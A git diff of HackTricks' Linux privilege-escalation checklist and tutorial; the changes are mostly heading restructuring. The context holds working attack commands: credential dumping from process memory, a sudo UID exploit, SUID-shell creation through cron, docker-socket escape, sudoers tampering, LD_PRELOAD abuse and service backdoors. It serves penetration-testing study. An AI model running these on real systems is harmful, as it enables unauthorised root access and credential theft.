+### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - -## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - -## [System Information](privilege-escalation/#system-information) +### [System Information](privilege-escalation/#system-information) * [ ] Get **OS information** * [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? @@ -45,18 +29,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) * [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) -## [Drives](privilege-escalation/#drives) +### [Drives](privilege-escalation/#drives) * [ ] **List mounted** drives * [ ] **Any unmounted drive?** * [ ] **Any creds in fstab?** -## [**Installed Software**](privilege-escalation/#installed-software) +### [**Installed Software**](privilege-escalation/#installed-software) * [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** * [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** -## [Processes](privilege-escalation/#processes) +### [Processes](privilege-escalation/#processes) * [ ] Is any **unknown software running**? * [ ] Is any software with **more privileges that it should have running**? @@ -65,40 +49,40 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] **Monitor processes** and check if any interesting process is running frequently * [ ] Can you **read** some interesting **process memory** (where passwords could be saved)? -## [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) +### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) * [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? * [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? * [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? * [ ] Have you detected that some **script** could be being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) -## [Services](privilege-escalation/#services) +### [Services](privilege-escalation/#services) * [ ] Any **writable .service** file? * [ ] Any **writable binary** executed by a **service**? * [ ] Any **writable folder in systemd PATH**? -## [Timers](privilege-escalation/#timers) +### [Timers](privilege-escalation/#timers) * [ ] Any **writable timer**? -## [Sockets](privilege-escalation/#sockets) +### [Sockets](privilege-escalation/#sockets) * [ ] Any **writable .socket** file? * [ ] Can you **communicate with any socket**? * [ ] **HTTP sockets** with interesting info? -## [D-Bus](privilege-escalation/#d-bus) +### [D-Bus](privilege-escalation/#d-bus) * [ ] Can you **communicate with any D-Bus**? -## [Network](privilege-escalation/#network) +### [Network](privilege-escalation/#network) * [ ] Enumerate the network to know where you are * [ ] **Open ports you couldn't access before** getting a shell inside the machine? * [ ] Can you **sniff traffic** using `tcpdump`? -## [Users](privilege-escalation/#users) +### [Users](privilege-escalation/#users) * [ ] Generic users/groups **enumeration** * [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? @@ -107,11 +91,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Password Policy? * [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without password. -## [Writable PATH](privilege-escalation/#writable-path-abuses) +### [Writable PATH](privilege-escalation/#writable-path-abuses) * [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges -## [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) +### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) * [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Is any **exploitable suid binary**? ([**GTFOBins**](https://gtfobins.github.io)) @@ -125,25 +109,25 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? * [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) command -## [Capabilities](privilege-escalation/#capabilities) +### [Capabilities](privilege-escalation/#capabilities) * [ ] Has any binary any **unexpected capability**? -## [ACLs](privilege-escalation/#acls) +### [ACLs](privilege-escalation/#acls) * [ ] Has any file any **unexpected ACL**? -## [Open Shell sessions](privilege-escalation/#open-shell-sessions) +### [Open Shell sessions](privilege-escalation/#open-shell-sessions) * [ ] **screen** * [ ] **tmux** -## [SSH](privilege-escalation/#ssh) +### [SSH](privilege-escalation/#ssh) * [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] [**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values) -## [Interesting Files](privilege-escalation/#interesting-files) +### [Interesting Files](privilege-escalation/#interesting-files) * [ ] **Profile files** - Read sensitive data? Write to privesc? * [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? @@ -158,19 +142,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** * [ ] **Generic search** -## [**Writable Files**](privilege-escalation/#writable-files) +### [**Writable Files**](privilege-escalation/#writable-files) * [ ] **Modify python library** to execute arbitrary commands? * [ ] Can you **modify log files**? **Logtotten** exploit * [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit * [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? -## [**Other tricks**](privilege-escalation/#other-tricks) +### [**Other tricks**](privilege-escalation/#other-tricks) * [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? * [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? -
Support HackTricks and get benefits! @@ -186,5 +169,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md similarity index 95% rename from linux-unix/privilege-escalation/README.md rename to linux-hardening/privilege-escalation/README.md index 979377e9..0638dc71 100644 --- a/linux-unix/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -1,4 +1,4 @@ - +# Linux Privilege Escalation
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# OS info +## OS info Let's starting gaining some knowledge of the OS running @@ -27,7 +26,7 @@ lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -# Path +## Path If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijacking some libraries or binaries: @@ -35,7 +34,7 @@ If you **have write permissions on any folder inside the `PATH`** variable you m echo $PATH ``` -# Env info +## Env info Interesting information, passwords or API keys in the environment variables? @@ -43,7 +42,7 @@ Interesting information, passwords or API keys in the environment variables? (env || set) 2>/dev/null ``` -# Kernel exploits +## Kernel exploits Check the kernel version and if there is some exploit that can be used to escalate privileges @@ -70,7 +69,7 @@ Tools that could help searching for kernel exploits are: Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid. -# CVE-2016-5195 (DirtyCow) +## CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 @@ -82,7 +81,7 @@ https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -# Sudo version +## Sudo version Based on the vulnerable sudo versions that appear in: @@ -96,7 +95,7 @@ You can check if the sudo version is vulnerable using this grep. sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -# sudo < v1.28 +## sudo < v1.28 From @sickrov @@ -104,7 +103,7 @@ From @sickrov sudo -u#-1 /bin/bash ``` -# Dmesg signature verification failed +## Dmesg signature verification failed Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited @@ -112,7 +111,7 @@ Check **smasher2 box of HTB** for an **example** of how this vuln could be explo dmesg 2>/dev/null | grep "signature" ``` -# More system enumeration +## More system enumeration ```bash date 2>/dev/null #Date @@ -121,9 +120,9 @@ lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -# Enumerate possible defenses +## Enumerate possible defenses -## AppArmor +### AppArmor ```bash if [ `which aa-status 2>/dev/null` ]; then @@ -137,38 +136,38 @@ if [ `which aa-status 2>/dev/null` ]; then fi ``` -## Grsecurity +### Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` -## PaX +### PaX ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` -## Execshield +### Execshield ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` -## SElinux +### SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` -## ASLR +### ASLR ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` -# Docker Breakout +## Docker Breakout If you are inside a docker container you can try to escape from it: @@ -176,7 +175,7 @@ If you are inside a docker container you can try to escape from it: [docker-breakout](docker-breakout/) {% endcontent-ref %} -# Drives +## Drives Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info @@ -187,9 +186,9 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -# Installed Software +## Installed Software -# Useful software +## Useful software Enumerate useful binaries @@ -203,7 +202,7 @@ Also, check if **any compiler is installed**. This is useful if you need to use (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -# Vulnerable Software Installed +## Vulnerable Software Installed Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ It is recommended to check manually the version of the more suspicious installed software. @@ -219,7 +218,7 @@ If you have SSH access to the machine you could also use **openVAS** to check fo _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ {% endhint %} -# Processes +## Processes Take a look to **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) @@ -232,11 +231,11 @@ top -n 1 Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -# Process monitoring +## Process monitoring You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -# Process memory +## Process memory Some services of a server save **credentials in clear text inside the memory**.\ Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ @@ -253,7 +252,7 @@ The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of * **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. {% endhint %} -## GDB +### GDB If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials. @@ -266,7 +265,7 @@ gdb -p strings /tmp/mem_ftp #User and password ``` -## GDB Script +### GDB Script {% code title="dump-memory.sh" %} ```bash @@ -281,7 +280,7 @@ done ``` {% endcode %} -## /proc/$pid/maps & /proc/$pid/mem +### /proc/$pid/maps & /proc/$pid/mem For a given process ID, **maps shows how memory is mapped within that processes'** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. @@ -298,7 +297,7 @@ procdump() ) ``` -## /dev/mem +### /dev/mem `/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.\ Typically, `/dev/mem` is only readable by **root** and **kmem** group. @@ -307,7 +306,7 @@ Typically, `/dev/mem` is only readable by **root** and **kmem** group. strings /dev/mem -n10 | grep -i PASS ``` -## ProcDump for linux +### ProcDump for linux ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) @@ -338,7 +337,7 @@ Press Ctrl-C to end monitoring without terminating the process. [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -## Tools +### Tools To dump a process memory you could use: @@ -346,9 +345,9 @@ To dump a process memory you could use: * [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _You can manually remove root requirements and dump process owned by you_ * Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) -# Credentials from Process Memory +## Credentials from Process Memory -## Manual example +### Manual example If you find that the authenticator process is running: @@ -364,7 +363,7 @@ You can dump the process (see before sections to find different ways to dump the strings *.dump | grep -i password ``` -## mimipenguin +### mimipenguin The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. @@ -377,7 +376,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -# Scheduled/Cron jobs +## Scheduled/Cron jobs Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). @@ -387,7 +386,7 @@ ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -# Cron path +## Cron path For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ @@ -402,7 +401,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -# Cron using a script with a wildcard (Wildcard Injection) +## Cron using a script with a wildcard (Wildcard Injection) If a script being executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: @@ -418,7 +417,7 @@ Read the following page for more wildcard exploitation tricks: [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} -# Cron script overwriting and symlink +## Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: @@ -434,7 +433,7 @@ If the script executed by root uses a **directory where you have full access**, ln -d -s ``` -# Frequent cron jobs +## Frequent cron jobs You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. @@ -446,7 +445,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do **You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that start). -# Invisible cron jobs +## Invisible cron jobs It's possible to create a cronjob **putting a carriage return after a comment** (without new line character), and the cron job will work. Example (note the carriege return char): @@ -454,18 +453,18 @@ It's possible to create a cronjob **putting a carriage return after a comment** #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -# Services +## Services -# Writable _.service_ files +## Writable _.service_ files Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** -# Writable service binaries +## Writable service binaries Keep in mid that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. -# systemd PATH - Relative Paths +## systemd PATH - Relative Paths You can see the PATH used by **systemd** with: @@ -485,7 +484,7 @@ Then, create a **executable** with the **same name as the relative path binary** **Learn more about services with `man systemd.service`.** -# **Timers** +## **Timers** **Timers** are systemd unit files whose name ends in . **timer** that control . service files or events. **Timers** can be used as an alternative to cron. **Timers** have built-in support for calendar time events, monotonic time events, and can be run asynchronously. @@ -495,7 +494,7 @@ You can enumerate all the timers doing: systemctl list-timers --all ``` -# Writable timers +## Writable timers If you can modify a timer you can make it execute some existent systemd.unit (like a `.service` or a `.target`) @@ -514,7 +513,7 @@ Therefore, in order to abuse this permissions you would need to: **Learn more about timers with `man systemd.timer`.** -# **Enabling Timer** +## **Enabling Timer** In order to enable a timer you need root privileges and to execute: @@ -525,7 +524,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -# Sockets +## Sockets In brief, a Unix Socket (technically, the correct name is Unix domain socket, **UDS**) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From [here](https://www.linux.com/news/what-socket/)). @@ -539,22 +538,22 @@ Sockets can be configured using `.socket` files. * `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. * `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -# Writable .socket files +## Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -# Writable sockets +## Writable sockets If you **identify any writable socket** (_now where are talking about Unix Sockets, not about the config `.socket` files_), then, **you can communicate** with that socket and maybe exploit a vulnerability. -# Enumerate Unix Sockets +## Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -# Raw connection +## Raw connection ```bash #apt-get install netcat-openbsd @@ -571,7 +570,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -# HTTP sockets +## HTTP sockets Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but about the files acting as unix sockets_). You can check this with: @@ -581,7 +580,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index If the socket **respond with a HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -# Writable Docker Socket +## Writable Docker Socket The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by `root` user and `docker` group.\ If for some reason **you have write permissions** over that socket you can escalate privileges.\ @@ -592,7 +591,7 @@ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bi docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -## Use docker web API from socket without docker package +### Use docker web API from socket without docker package If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with `curl`. @@ -625,9 +624,9 @@ Upgrade: tcp Now, you can execute commands on the container from this `socat` connection. -## Others +### Others -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising). +Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse i to escalate privileges** in: @@ -635,7 +634,7 @@ Check **more ways to break out from docker or abuse i to escalate privileges** i [docker-breakout](docker-breakout/) {% endcontent-ref %} -# Containerd (ctr) privilege escalation +## Containerd (ctr) privilege escalation If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: @@ -643,7 +642,7 @@ If you find that you can use the **`ctr`** command read the following page as ** [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} -# **RunC** privilege escalation +## **RunC** privilege escalation If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: @@ -651,7 +650,7 @@ If you find that you can use the **`runc`** command read the following page as * [runc-privilege-escalation.md](runc-privilege-escalation.md) {% endcontent-ref %} -# **D-Bus** +## **D-Bus** D-BUS is an **inter-process communication (IPC) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system. @@ -681,11 +680,11 @@ Policies to the context "default" affects everyone not affected by other policie [d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md) {% endcontent-ref %} -# **Network** +## **Network** It's always interesting to enumerate the network and figure out the position of the machine. -# Generic enumeration +## Generic enumeration ```bash #Hostname, hosts and DNS @@ -710,7 +709,7 @@ cat /etc/networks lsof -i ``` -# Open ports +## Open ports Always check network services running on the machine that you wasn't able to interact with before accessing to it: @@ -719,7 +718,7 @@ Always check network services running on the machine that you wasn't able to int (netstat -punta || ss --ntpu) | grep "127.0" ``` -# Sniffing +## Sniffing Check if you can sniff traffic. If you can, you could be able to grab some credentials. @@ -727,9 +726,9 @@ Check if you can sniff traffic. If you can, you could be able to grab some crede timeout 1 tcpdump ``` -# Users +## Users -# Generic Enumeration +## Generic Enumeration Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** @@ -755,12 +754,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so gpg --list-keys 2>/dev/null ``` -# Big UID +## Big UID Some Linux versions were affected by a bug that allow users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -# Groups +## Groups Check if you are a **member of some group** that could grant you root privileges: @@ -768,7 +767,7 @@ Check if you are a **member of some group** that could grant you root privileges [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} -# Clipboard +## Clipboard Check if anything interesting is located inside the clipboard (if possible) @@ -783,28 +782,28 @@ if [ `which xclip 2>/dev/null` ]; then fi ``` -# Password Policy +## Password Policy ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -# Known passwords +## Known passwords If you **know any password** of the environment **try to login as each user** using the password. -# Su Brute +## Su Brute If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. -# Writable PATH abuses +## Writable PATH abuses -# $PATH +## $PATH If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. -# SUDO and SUID +## SUDO and SUID You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: @@ -824,7 +823,7 @@ ftp>!/bin/sh less>! ``` -# NOPASSWD +## NOPASSWD Sudo configuration might allow a user to execute some command with another user privileges without knowing the password. @@ -840,7 +839,7 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge sudo vim -c '!sh' ``` -# SETENV +## SETENV This directive allows the user to **set an environment variable** while executing something: @@ -856,7 +855,7 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -# Sudo execution bypassing paths +## Sudo execution bypassing paths **Jump** to read other files or use **symlinks**. For example in sudeores file: _hacker10 ALL= (root) /bin/less /var/log/\*_ @@ -879,7 +878,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files **Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -# Sudo command/SUID binary without command path +## Sudo command/SUID binary without command path If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable @@ -893,7 +892,7 @@ This technique can also be used if a **suid** binary **executes another command [Payload examples to execute.](payloads-to-execute.md) -# SUID binary with command path +## SUID binary with command path If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. @@ -906,7 +905,7 @@ export -f /usr/sbin/service Then, when you call the suid binary, this function will be executed -# LD\_PRELOAD +## LD\_PRELOAD **LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. @@ -946,7 +945,7 @@ Finally, **escalate privileges** running sudo LD_PRELOAD=pe.so #Use any command you can run with sudo ``` -# SUID Binary – so injection +## SUID Binary – so injection If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. In order to do so you can execute: @@ -977,7 +976,7 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c And execute the binary. -# GTFOBins +## GTFOBins [**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. @@ -990,11 +989,11 @@ The project collects legitimate functions of Unix binaries that can be abused to {% embed url="https://gtfobins.github.io/" %} -# FallOfSudo +## FallOfSudo If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/Critical-Start/FallofSudo) to check if it finds how to exploit any sudo rule. -# Reusing Sudo Tokens +## Reusing Sudo Tokens In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait him to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation). @@ -1031,7 +1030,7 @@ bash exploit_v3.sh sudo su ``` -# /var/run/sudo/ts/\ +## /var/run/sudo/ts/\ If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: @@ -1040,7 +1039,7 @@ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` -# /etc/sudoers, /etc/sudoers.d +## /etc/sudoers, /etc/sudoers.d The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. This files **by default can only be read by user root and group root**.\ **If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. @@ -1066,7 +1065,7 @@ echo "Defaults !tty_tickets" > /etc/sudoers.d/win echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` -# DOAS +## DOAS There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` @@ -1074,15 +1073,15 @@ There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, rem permit nopass demo as root cmd vim ``` -# Sudo Hijacking +## Sudo Hijacking If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the users command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so we the user executed sudo, your sudo executable is executed. Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) -# Shared Library +## Shared Library -# ld.so +## ld.so The file `/etc/ld.so.conf` indicates **where are loaded the configurations files from**. Typically, this file contains the following path: 